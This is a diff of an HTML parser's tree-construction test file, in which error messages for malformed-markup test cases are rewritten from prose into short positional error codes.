| <head>
@@ -1238,7 +1245,7 @@ Line: 1 Col: 49 Unexpected end tag (code). Ignored.
#data
<!DOCTYPE html><spacer>foo
#errors
-26: End of file seen and there were open elements.
+(1,26): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -1250,7 +1257,7 @@ Line: 1 Col: 49 Unexpected end tag (code). Ignored.
#data
<title><meta></title><link><title><meta></title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1264,8 +1271,7 @@ Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
#data
<style><!--</style><meta><script>--><link></script>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 51 Unexpected end of file. Expected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1279,8 +1285,8 @@ Line: 1 Col: 51 Unexpected end of file. Expected end tag (style).
#data
<head><meta></head><link>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 25 Unexpected start tag (link) that can be in head. Moved.
+(1,6): expected-doctype-but-got-start-tag
+(1,25): unexpected-start-tag-out-of-my-head
#document
| <html>
| <head>
@@ -1291,9 +1297,9 @@ Line: 1 Col: 25 Unexpected start tag (link) that can be in head. Moved.
#data
<table><tr><tr><td><td><span><th><span>X</table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 33 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 48 Got table cell end tag (th) while required end tags are missing.
+(1,7): expected-doctype-but-got-start-tag
+(1,33): unexpected-cell-end-tag
+(1,48): unexpected-cell-end-tag
#document
| <html>
| <head>
@@ -1312,10 +1318,9 @@ Line: 1 Col: 48 Got table cell end tag (th) while required end tags are missing.
#data
<body><body><base><link><meta><title><p></title><body><p></body>
#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected start tag (body).
-Line: 1 Col: 54 Unexpected start tag (body).
-Line: 1 Col: 64 Unexpected end tag (p). Missing end tag (body).
+(1,6): expected-doctype-but-got-start-tag
+(1,12): unexpected-start-tag
+(1,54): unexpected-start-tag
#document
| <html>
| <head>
@@ -1330,7 +1335,7 @@ Line: 1 Col: 64 Unexpected end tag (p). Missing end tag (body).
#data
<textarea><p></textarea>
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1341,8 +1346,8 @@ Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
#data
<p><image></p>
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected start tag (image). Treated as img.
+(1,3): expected-doctype-but-got-start-tag
+(1,10): unexpected-start-tag-treated-as
#document
| <html>
| <head>
@@ -1353,17 +1358,16 @@ Line: 1 Col: 10 Unexpected start tag (image). Treated as img.
#data
<a><table><a></table><p><a><div><a>
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 13 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 13 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 21 Unexpected end tag (table). Expected end tag (a).
-Line: 1 Col: 27 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 27 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 32 Unexpected end tag (p). Ignored.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 35 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,13): unexpected-start-tag-implies-table-voodoo
+(1,13): unexpected-start-tag-implies-end-tag
+(1,13): adoption-agency-1.3
+(1,27): unexpected-start-tag-implies-end-tag
+(1,27): adoption-agency-1.2
+(1,32): unexpected-end-tag
+(1,35): unexpected-start-tag-implies-end-tag
+(1,35): adoption-agency-1.2
+(1,35): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1379,8 +1383,8 @@ Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
#data
<head></p><meta><p>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected end tag (p). Ignored.
+(1,6): expected-doctype-but-got-start-tag
+(1,10): unexpected-end-tag
#document
| <html>
| <head>
@@ -1391,8 +1395,8 @@ Line: 1 Col: 10 Unexpected end tag (p). Ignored.
#data
<head></html><meta><p>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected start tag (meta).
+(1,6): expected-doctype-but-got-start-tag
+(1,19): expected-eof-but-got-start-tag
#document
| <html>
| <head>
@@ -1403,10 +1407,10 @@ Line: 1 Col: 19 Unexpected start tag (meta).
#data
<b><table><td><i></table>
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 25 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,25): unexpected-cell-end-tag
+(1,25): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1421,11 +1425,11 @@ Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
#data
<b><table><td></b><i></table>
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 18 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,18): unexpected-end-tag
+(1,29): unexpected-cell-end-tag
+(1,29): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1440,9 +1444,9 @@ Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
#data
<h1><h2>
#errors
-4: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-8: Heading cannot be a child of another heading.
-8: End of file seen and there were open elements.
+(1,4): expected-doctype-but-got-start-tag
+(1,8): unexpected-start-tag
+(1,8): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1453,10 +1457,10 @@ Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
#data
<a><p><a></a></p></a>
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 9 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 21 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
+(1,3): expected-doctype-but-got-start-tag
+(1,9): unexpected-start-tag-implies-end-tag
+(1,9): adoption-agency-1.3
+(1,21): unexpected-end-tag
#document
| <html>
| <head>
@@ -1469,8 +1473,9 @@ Line: 1 Col: 21 End tag (a) violates step 1, paragraph 1 of the adoption agency
#data
<b><button></b></button></b>
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
+(1,3): expected-doctype-but-got-start-tag
+(1,15): adoption-agency-1.3
+(1,28): unexpected-end-tag
#document
| <html>
| <head>
@@ -1482,12 +1487,12 @@ Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency
#data
<p><b><div><marquee></p></b></div>
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-Line: 1 Col: 24 Unexpected end tag (p). Ignored.
-Line: 1 Col: 28 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 34 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
+(1,24): unexpected-end-tag
+(1,28): unexpected-end-tag
+(1,34): end-tag-too-early
+(1,34): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1502,8 +1507,8 @@ Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
#data
<script></script></div><title></title><p><p>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (div). Ignored.
+(1,8): expected-doctype-but-got-start-tag
+(1,23): unexpected-end-tag
#document
| <html>
| <head>
@@ -1516,8 +1521,8 @@ Line: 1 Col: 23 Unexpected end tag (div). Ignored.
#data
<p><hr></p>
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
+(1,3): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
#document
| <html>
| <head>
@@ -1529,12 +1534,12 @@ Line: 1 Col: 11 Unexpected end tag (p). Ignored.
#data
<select><b><option><select><option></b></select>
#errors
-Line: 1 Col: 8 Unexpected start tag (select). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected start tag token (b) in the select phase. Ignored.
-Line: 1 Col: 27 Unexpected select start tag in the select phase treated as select end tag.
-Line: 1 Col: 39 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 48 Unexpected end tag (select). Ignored.
-Line: 1 Col: 48 Expected closing tag. Unexpected end of file.
+(1,8): expected-doctype-but-got-start-tag
+(1,11): unexpected-start-tag-in-select
+(1,27): unexpected-select-in-select
+(1,39): unexpected-end-tag
+(1,48): unexpected-end-tag
+(1,48): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1546,7 +1551,7 @@ Line: 1 Col: 48 Expected closing tag. Unexpected end of file.
#data
<html><head><title></title><body></body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1556,17 +1561,16 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<a><table><td><a><table></table><a></tr><a></table><a>
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 40 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 43 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 43 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 43 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 51 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 54 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 54 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 54 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,35): unexpected-start-tag-implies-end-tag
+(1,40): unexpected-cell-end-tag
+(1,43): unexpected-start-tag-implies-table-voodoo
+(1,43): unexpected-start-tag-implies-end-tag
+(1,43): unexpected-end-tag
+(1,54): unexpected-start-tag-implies-end-tag
+(1,54): adoption-agency-1.2
+(1,54): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1585,10 +1589,10 @@ Line: 1 Col: 54 Expected closing tag. Unexpected end of file.
#data
<ul><li></li><div><li></div><li><li><div><li><address><li><b><em></b><li></ul>
#errors
-Line: 1 Col: 4 Unexpected start tag (ul). Expected DOCTYPE.
-Line: 1 Col: 45 Missing end tag (div, li).
-Line: 1 Col: 58 Missing end tag (address, li).
-Line: 1 Col: 69 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
+(1,4): expected-doctype-but-got-start-tag
+(1,45): end-tag-too-early
+(1,58): end-tag-too-early
+(1,69): adoption-agency-1.3
#document
| <html>
| <head>
@@ -1610,7 +1614,8 @@ Line: 1 Col: 69 End tag (b) violates step 1, paragraph 3 of the adoption agency
#data
<ul><li><ul></li><li>a</li></ul></li></ul>
#errors
-XXX: fix me
+(1,4): expected-doctype-but-got-start-tag
+(1,17): unexpected-end-tag
#document
| <html>
| <head>
@@ -1624,7 +1629,7 @@ XXX: fix me
#data
<frameset><frame><frameset><frame></frameset><noframes></noframes></frameset>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1637,11 +1642,11 @@ Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
#data
<h1><table><td><h3></table><h3></h1>
#errors
-4: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-15: “td” start tag in table body.
-27: Unclosed elements.
-31: Heading cannot be a child of another heading.
-36: End tag “h1” seen but there were unclosed elements.
+(1,4): expected-doctype-but-got-start-tag
+(1,15): unexpected-cell-in-table-body
+(1,27): unexpected-cell-end-tag
+(1,31): unexpected-start-tag
+(1,36): end-tag-too-early
#document
| <html>
| <head>
@@ -1657,7 +1662,7 @@ Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
#data
<table><colgroup><col><colgroup><col><col><col><colgroup><col><col><thead><tr><td></table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1679,9 +1684,9 @@ Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
#data
<table><col><tbody><col><tr><col><td><col></table><col>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 37 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 55 Unexpected start tag col. Ignored.
+(1,7): expected-doctype-but-got-start-tag
+(1,37): unexpected-cell-in-table-body
+(1,55): unexpected-start-tag-ignored
#document
| <html>
| <head>
@@ -1705,9 +1710,9 @@ Line: 1 Col: 55 Unexpected start tag col. Ignored.
#data
<table><colgroup><tbody><colgroup><tr><colgroup><td><colgroup></table><colgroup>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 52 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 80 Unexpected start tag colgroup. Ignored.
+(1,7): expected-doctype-but-got-start-tag
+(1,52): unexpected-cell-in-table-body
+(1,80): unexpected-start-tag-ignored
#document
| <html>
| <head>
@@ -1725,91 +1730,93 @@ Line: 1 Col: 80 Unexpected start tag colgroup. Ignored.
| <colgroup>
#data
-</strong></b></em></i></u></strike></s></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
-#errors
-Line: 1 Col: 9 Unexpected end tag (strong). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected end tag (strong) after the (implied) root element.
-Line: 1 Col: 13 Unexpected end tag (b) after the (implied) root element.
-Line: 1 Col: 18 Unexpected end tag (em) after the (implied) root element.
-Line: 1 Col: 22 Unexpected end tag (i) after the (implied) root element.
-Line: 1 Col: 26 Unexpected end tag (u) after the (implied) root element.
-Line: 1 Col: 35 Unexpected end tag (strike) after the (implied) root element.
-Line: 1 Col: 39 Unexpected end tag (s) after the (implied) root element.
-Line: 1 Col: 47 Unexpected end tag (tt) after the (implied) root element.
-Line: 1 Col: 53 Unexpected end tag (pre) after the (implied) root element.
-Line: 1 Col: 59 Unexpected end tag (big) after the (implied) root element.
-Line: 1 Col: 77 Unexpected end tag (small) after the (implied) root element.
-Line: 1 Col: 74 Unexpected end tag (font) after the (implied) root element.
-Line: 1 Col: 83 Unexpected end tag (select) after the (implied) root element.
-Line: 1 Col: 88 Unexpected end tag (h1) after the (implied) root element.
-Line: 1 Col: 93 Unexpected end tag (h2) after the (implied) root element.
-Line: 1 Col: 98 Unexpected end tag (h3) after the (implied) root element.
-Line: 1 Col: 103 Unexpected end tag (h4) after the (implied) root element.
-Line: 1 Col: 108 Unexpected end tag (h5) after the (implied) root element.
-Line: 1 Col: 113 Unexpected end tag (h6) after the (implied) root element.
-Line: 1 Col: 120 Unexpected end tag (body) after the (implied) root element.
-Line: 1 Col: 125 Unexpected end tag (br). Treated as br element.
-Line: 1 Col: 129 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 135 This element (img) has no end tag.
-Line: 1 Col: 143 Unexpected end tag (title). Ignored.
-Line: 1 Col: 150 Unexpected end tag (span). Ignored.
-Line: 1 Col: 158 Unexpected end tag (style). Ignored.
-Line: 1 Col: 167 Unexpected end tag (script). Ignored.
-Line: 1 Col: 175 Unexpected end tag (table). Ignored.
-Line: 1 Col: 180 Unexpected end tag (th). Ignored.
-Line: 1 Col: 185 Unexpected end tag (td). Ignored.
-Line: 1 Col: 190 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 198 This element (frame) has no end tag.
-Line: 1 Col: 205 This element (area) has no end tag.
-Line: 1 Col: 212 Unexpected end tag (link). Ignored.
-Line: 1 Col: 220 This element (param) has no end tag.
-Line: 1 Col: 225 This element (hr) has no end tag.
-Line: 1 Col: 233 This element (input) has no end tag.
-Line: 1 Col: 239 Unexpected end tag (col). Ignored.
-Line: 1 Col: 246 Unexpected end tag (base). Ignored.
-Line: 1 Col: 253 Unexpected end tag (meta). Ignored.
-Line: 1 Col: 264 This element (basefont) has no end tag.
-Line: 1 Col: 274 This element (bgsound) has no end tag.
-Line: 1 Col: 282 This element (embed) has no end tag.
-Line: 1 Col: 291 This element (spacer) has no end tag.
-Line: 1 Col: 295 Unexpected end tag (p). Ignored.
-Line: 1 Col: 300 End tag (dd) seen too early. Expected other end tag.
-Line: 1 Col: 305 End tag (dt) seen too early. Expected other end tag.
-Line: 1 Col: 315 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 326 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 334 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 342 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 350 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 360 End tag (address) seen too early. Expected other end tag.
-Line: 1 Col: 373 End tag (blockquote) seen too early. Expected other end tag.
-Line: 1 Col: 382 End tag (center) seen too early. Expected other end tag.
-Line: 1 Col: 388 Unexpected end tag (dir). Ignored.
-Line: 1 Col: 394 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 399 End tag (dl) seen too early. Expected other end tag.
-Line: 1 Col: 410 End tag (fieldset) seen too early. Expected other end tag.
-Line: 1 Col: 420 End tag (listing) seen too early. Expected other end tag.
-Line: 1 Col: 427 End tag (menu) seen too early. Expected other end tag.
-Line: 1 Col: 432 End tag (ol) seen too early. Expected other end tag.
-Line: 1 Col: 437 End tag (ul) seen too early. Expected other end tag.
-Line: 1 Col: 442 End tag (li) seen too early. Expected other end tag.
-Line: 1 Col: 449 End tag (nobr) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 455 This element (wbr) has no end tag.
-Line: 1 Col: 471 End tag (button) seen too early. Expected other end tag.
-Line: 1 Col: 481 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 490 End tag (object) seen too early. Expected other end tag.
-Line: 1 Col: 508 Unexpected end tag (html). Ignored.
-Line: 1 Col: 508 Unexpected end tag (frameset). Ignored.
-Line: 1 Col: 515 Unexpected end tag (head). Ignored.
-Line: 1 Col: 524 Unexpected end tag (iframe). Ignored.
-Line: 1 Col: 532 This element (image) has no end tag.
-Line: 1 Col: 542 This element (isindex) has no end tag.
-Line: 1 Col: 552 Unexpected end tag (noembed). Ignored.
-Line: 1 Col: 563 Unexpected end tag (noframes). Ignored.
-Line: 1 Col: 574 Unexpected end tag (noscript). Ignored.
-Line: 1 Col: 585 Unexpected end tag (optgroup). Ignored.
-Line: 1 Col: 594 Unexpected end tag (option). Ignored.
-Line: 1 Col: 606 Unexpected end tag (plaintext). Ignored.
-Line: 1 Col: 617 Unexpected end tag (textarea). Ignored.
+</strong></b></em></i></u></strike></s></blink></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
+#errors
+(1,9): expected-doctype-but-got-end-tag
+(1,9): unexpected-end-tag-before-html
+(1,13): unexpected-end-tag-before-html
+(1,18): unexpected-end-tag-before-html
+(1,22): unexpected-end-tag-before-html
+(1,26): unexpected-end-tag-before-html
+(1,35): unexpected-end-tag-before-html
+(1,39): unexpected-end-tag-before-html
+(1,47): unexpected-end-tag-before-html
+(1,52): unexpected-end-tag-before-html
+(1,58): unexpected-end-tag-before-html
+(1,64): unexpected-end-tag-before-html
+(1,72): unexpected-end-tag-before-html
+(1,79): unexpected-end-tag-before-html
+(1,88): unexpected-end-tag-before-html
+(1,93): unexpected-end-tag-before-html
+(1,98): unexpected-end-tag-before-html
+(1,103): unexpected-end-tag-before-html
+(1,108): unexpected-end-tag-before-html
+(1,113): unexpected-end-tag-before-html
+(1,118): unexpected-end-tag-before-html
+(1,130): unexpected-end-tag-after-body
+(1,130): unexpected-end-tag-treated-as
+(1,134): unexpected-end-tag
+(1,140): unexpected-end-tag
+(1,148): unexpected-end-tag
+(1,155): unexpected-end-tag
+(1,163): unexpected-end-tag
+(1,172): unexpected-end-tag
+(1,180): unexpected-end-tag
+(1,185): unexpected-end-tag
+(1,190): unexpected-end-tag
+(1,195): unexpected-end-tag
+(1,203): unexpected-end-tag
+(1,210): unexpected-end-tag
+(1,217): unexpected-end-tag
+(1,225): unexpected-end-tag
+(1,230): unexpected-end-tag
+(1,238): unexpected-end-tag
+(1,244): unexpected-end-tag
+(1,251): unexpected-end-tag
+(1,258): unexpected-end-tag
+(1,269): unexpected-end-tag
+(1,279): unexpected-end-tag
+(1,287): unexpected-end-tag
+(1,296): unexpected-end-tag
+(1,300): unexpected-end-tag
+(1,305): unexpected-end-tag
+(1,310): unexpected-end-tag
+(1,320): unexpected-end-tag
+(1,331): unexpected-end-tag
+(1,339): unexpected-end-tag
+(1,347): unexpected-end-tag
+(1,355): unexpected-end-tag
+(1,365): end-tag-too-early
+(1,378): end-tag-too-early
+(1,387): end-tag-too-early
+(1,393): end-tag-too-early
+(1,399): end-tag-too-early
+(1,404): end-tag-too-early
+(1,415): end-tag-too-early
+(1,425): end-tag-too-early
+(1,432): end-tag-too-early
+(1,437): end-tag-too-early
+(1,442): end-tag-too-early
+(1,447): unexpected-end-tag
+(1,454): unexpected-end-tag
+(1,460): unexpected-end-tag
+(1,467): unexpected-end-tag
+(1,476): end-tag-too-early
+(1,486): end-tag-too-early
+(1,495): end-tag-too-early
+(1,513): expected-eof-but-got-end-tag
+(1,513): unexpected-end-tag
+(1,520): unexpected-end-tag
+(1,529): unexpected-end-tag
+(1,537): unexpected-end-tag
+(1,547): unexpected-end-tag
+(1,557): unexpected-end-tag
+(1,568): unexpected-end-tag
+(1,579): unexpected-end-tag
+(1,590): unexpected-end-tag
+(1,599): unexpected-end-tag
+(1,611): unexpected-end-tag
+(1,622): unexpected-end-tag
#document
| <html>
| <head>
@@ -1818,116 +1825,119 @@ Line: 1 Col: 617 Unexpected end tag (textarea). Ignored.
| <p>
#data
-<table><tr></strong></b></em></i></u></strike></s></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (strong) in table context caused voodoo mode.
-Line: 1 Col: 20 End tag (strong) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 24 Unexpected end tag (b) in table context caused voodoo mode.
-Line: 1 Col: 24 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Unexpected end tag (em) in table context caused voodoo mode.
-Line: 1 Col: 29 End tag (em) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 33 Unexpected end tag (i) in table context caused voodoo mode.
-Line: 1 Col: 33 End tag (i) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 37 Unexpected end tag (u) in table context caused voodoo mode.
-Line: 1 Col: 37 End tag (u) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 46 Unexpected end tag (strike) in table context caused voodoo mode.
-Line: 1 Col: 46 End tag (strike) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 50 Unexpected end tag (s) in table context caused voodoo mode.
-Line: 1 Col: 50 End tag (s) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 58 Unexpected end tag (tt) in table context caused voodoo mode.
-Line: 1 Col: 58 End tag (tt) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 64 Unexpected end tag (pre) in table context caused voodoo mode.
-Line: 1 Col: 64 End tag (pre) seen too early. Expected other end tag.
-Line: 1 Col: 70 Unexpected end tag (big) in table context caused voodoo mode.
-Line: 1 Col: 70 End tag (big) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 78 Unexpected end tag (small) in table context caused voodoo mode.
-Line: 1 Col: 78 End tag (small) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 85 Unexpected end tag (font) in table context caused voodoo mode.
-Line: 1 Col: 85 End tag (font) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 94 Unexpected end tag (select) in table context caused voodoo mode.
-Line: 1 Col: 94 Unexpected end tag (select). Ignored.
-Line: 1 Col: 99 Unexpected end tag (h1) in table context caused voodoo mode.
-Line: 1 Col: 99 End tag (h1) seen too early. Expected other end tag.
-Line: 1 Col: 104 Unexpected end tag (h2) in table context caused voodoo mode.
-Line: 1 Col: 104 End tag (h2) seen too early. Expected other end tag.
-Line: 1 Col: 109 Unexpected end tag (h3) in table context caused voodoo mode.
-Line: 1 Col: 109 End tag (h3) seen too early. Expected other end tag.
-Line: 1 Col: 114 Unexpected end tag (h4) in table context caused voodoo mode.
-Line: 1 Col: 114 End tag (h4) seen too early. Expected other end tag.
-Line: 1 Col: 119 Unexpected end tag (h5) in table context caused voodoo mode.
-Line: 1 Col: 119 End tag (h5) seen too early. Expected other end tag.
-Line: 1 Col: 124 Unexpected end tag (h6) in table context caused voodoo mode.
-Line: 1 Col: 124 End tag (h6) seen too early. Expected other end tag.
-Line: 1 Col: 131 Unexpected end tag (body) in the table row phase. Ignored.
-Line: 1 Col: 136 Unexpected end tag (br) in table context caused voodoo mode.
-Line: 1 Col: 136 Unexpected end tag (br). Treated as br element.
-Line: 1 Col: 140 Unexpected end tag (a) in table context caused voodoo mode.
-Line: 1 Col: 140 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 146 Unexpected end tag (img) in table context caused voodoo mode.
-Line: 1 Col: 146 This element (img) has no end tag.
-Line: 1 Col: 154 Unexpected end tag (title) in table context caused voodoo mode.
-Line: 1 Col: 154 Unexpected end tag (title). Ignored.
-Line: 1 Col: 161 Unexpected end tag (span) in table context caused voodoo mode.
-Line: 1 Col: 161 Unexpected end tag (span). Ignored.
-Line: 1 Col: 169 Unexpected end tag (style) in table context caused voodoo mode.
-Line: 1 Col: 169 Unexpected end tag (style). Ignored.
-Line: 1 Col: 178 Unexpected end tag (script) in table context caused voodoo mode.
-Line: 1 Col: 178 Unexpected end tag (script). Ignored.
-Line: 1 Col: 191 Unexpected end tag (th). Ignored.
-Line: 1 Col: 196 Unexpected end tag (td). Ignored.
-Line: 1 Col: 201 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 209 This element (frame) has no end tag.
-Line: 1 Col: 216 This element (area) has no end tag.
-Line: 1 Col: 223 Unexpected end tag (link). Ignored.
-Line: 1 Col: 231 This element (param) has no end tag.
-Line: 1 Col: 236 This element (hr) has no end tag.
-Line: 1 Col: 244 This element (input) has no end tag.
-Line: 1 Col: 251 Unexpected end tag (col). Ignored.
-Line: 1 Col: 257 Unexpected end tag (base). Ignored.
-Line: 1 Col: 264 Unexpected end tag (meta). Ignored.
